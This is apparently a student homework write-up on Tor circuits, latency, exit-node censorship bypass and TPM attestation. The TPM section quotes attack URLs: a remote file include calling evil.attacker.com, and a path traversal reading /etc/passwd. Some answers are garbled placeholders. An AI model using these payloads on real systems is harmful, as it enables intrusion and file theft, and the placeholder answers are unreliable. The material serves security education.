

Problem #1 : Using Tor

1.1 Preliminaries

1. What is your public IP address?

public IP address: **128.237.200.1**

```
NetRange :      128.237.0.0 - 128.237.255.255
CIDR :          128.237.0.0/16
NetName :       CMU-NET-128-237
NetHandle :     NET-128-237-0-0-1
Parent :        NET128 (NET-128-0-0-0-0)
NetType :       Direct Assignment
OriginAS :      AS9
Organization :  Carnegie Mellon University (CARNEG-Z)
RegDate :       1987-05-06
Updated :       2012-04-02
Ref :           http://whois.arin.net/rest/net/NET-128-237-0-0-1
```

completed output available in **shis_hw4/whois.txt**

2. Display all Tor circuits your machine currently uses, as specified by the list of three Tor relays.

Script available in **shis_hw4/circuits.py**

```
Circuit 1 (GENERAL)
|- Nickname: IP, country, bandwidth
|----- fingerprint
|- DanaScully: 213.246.56.62, fr, 10500
|----- 5158B6A386EECCA74F1AFA11993F0E70B329D66
|- bmwanon3: 176.9.1.211, de, 17100
|----- D123C0F8F562804693C47D68C61786023B295E98
|- PsychoOnion3: 89.187.142.208, cz, 31400
+----- 64186650FFE4469EBBE52B644AE543864D32F43C

Circuit 2 (GENERAL)
|- Nickname: IP, country, bandwidth
|----- fingerprint
|- DanaScully: 213.246.56.62, fr, 10500
|----- 5158B6A386EECCA74F1AFA11993F0E70B329D66
|- 0011: 89.163.128.11, de, 12700
|----- FE757A32AE8B7CEB0AC45392411299166586C8C6
|- CalyxInstitute12: 162.247.72.199, us, 6030
+----- B34CC9056250847D1980F08285B01CF0B718C0B6

Circuit 3 (GENERAL)
|- Nickname: IP, country, bandwidth
|----- fingerprint
|- DanaScully: 213.246.56.62, fr, 10500
|----- 5158B6A386EECCA74F1AFA11993F0E70B329D66
|- sputnik: 188.40.128.246, de, 16800
|----- AD19490C7DBB26D3A68EFC824F67E69B0A96E601
|- epow0tornode: 146.0.32.144, de, 110000
+----- 35E8B344F661F4F2E68B17648F35798B44672D7E

Circuit 4 (GENERAL)
|- Nickname: IP, country, bandwidth
|----- fingerprint
|- DanaScully: 213.246.56.62, fr, 10500
|----- 5158B6A386EECCA74F1AFA11993F0E70B329D66
|- torfr01: 195.154.128.151, fr, 4680
|----- 4D5FAA22C650CE72CA43A078C40A91ED61461F36
|- Unnamed: 192.42.116.161, nl, 63300
+----- C804BE8FB1C7C42D43C4A5E2039E77AA0FF3A8B4
```

Figure 1: Current Circuits

1.2 Measuring latencies

1. Measures the difference between response times with or without going over Tor.

Script available in **shis_hw4/measure_latency.py**

2. Give an estimate figure of how much overhead in latency Tor generates on a given connection. Run the above experiment 10 times, changing Tor identities (and thus, circuits) but connecting to the same website for each of the 10 runs, and provide a table summarizing the results.

shis

3. Measure the latency of connecting to Tor hidden service <http://3g2upl4pq6kufc4m.onion/>. Compare it to the latency to its ?clearnet? version <https://duckduckgo.com/> using the Tor network, and bypassing the Tor network.

aes256-cts-hmac-sha1-96

1.3 Using exits to circumvent censorship

1. Try to connect to <http://dogo.ece.cmu.edu/tor-homework/public/> and <http://dogo.ece.cmu.edu/tor-homework/secret/> using a regular browser. How different are the results?
With regular browser, it returns **403 Forbidden**.
With Tor browser, it shows **the secret code is "sentientsheep"**
2. Write a Stem script to constrain Tor to specific exits in different countries.
Script available in **shis_hw4/exit_node.py**
3. Use your script to find as many countries as possible in which the website <http://dogo.ece.cmu.edu/tor-homework/secret/> is not blocked. Provide a list of these countries, as well as the exact date/time at which you made each request verifying that each of these countries was not blocked.

Problem #2 : WikiLeaks and anonymity

1. “But since the server is running HTTPS, it is perfectly secure.” Explain why this reasoning is completely flawed.

HTTPS only encrypts the connection and ensures confidentiality, but will still loyally pass the malicious input string to the unprotected php server. So the system is still vulnerable to the file include attack mentioned above.

2. Whether or not the TPM could prevent the attacks from succeeding. If the attacks can be foiled, explain how. If they cannot, state why:

- `https://10.0.0.1/index.php?TOKEN_TYPE=http://evil.attacker.com/exploit?`
This attack can be foiled by TPM, each program will be verified by local or remote verifier at load time, as when loading the downloaded program, PCRs will be update with contents that are unknown to the verifier, thus the exploit program cannot pass the attestation.
- `https://10.0.0.1/index.php?TOKEN_TYPE=/tmp/exploit`
This attack can be foiled by TPM, each program will be verified by local or remote verifier at load time, as when loading the uploaded program, PCRs will be update with contents that are unknown to the verifier, thus the exploit program cannot pass the attestation.
- `https://10.0.0.1/index.php/index.php?TOKEN_TYPE=../../../../etc/passwd%00`
This attack cannot be foiled by TPM, as the index.php already been attested by TPM, and it tries to load the file already existed on the router, the process doesn't modify anything on the device, so the attack can be carried out.

3. Is the update procedure secure? Justify your answer, by either proving its security, or giving an example of attack against it.

The update procedure is not secure.

1) The router is using HTTP to connect to webserver, the traffic can be observed by attackers. 2) After the file BIOS.COM is downloaded, there's no step to verify the checksum of the file, so we cannot be sure about its data integrity, might be possible that the file got corrupted during transfer or being changed by attacker.

3) After new firmware updated, the content of PCRs will also be changed, which might cause problem for accessing the data sealed by old PCR values. [1]

[1] Thinkwiki.org,. (2015). Embedded Security Subsystem - ThinkWiki. Retrieved 23 November 2015, from http://www.thinkwiki.org/wiki/Embedded_Security_Subsystem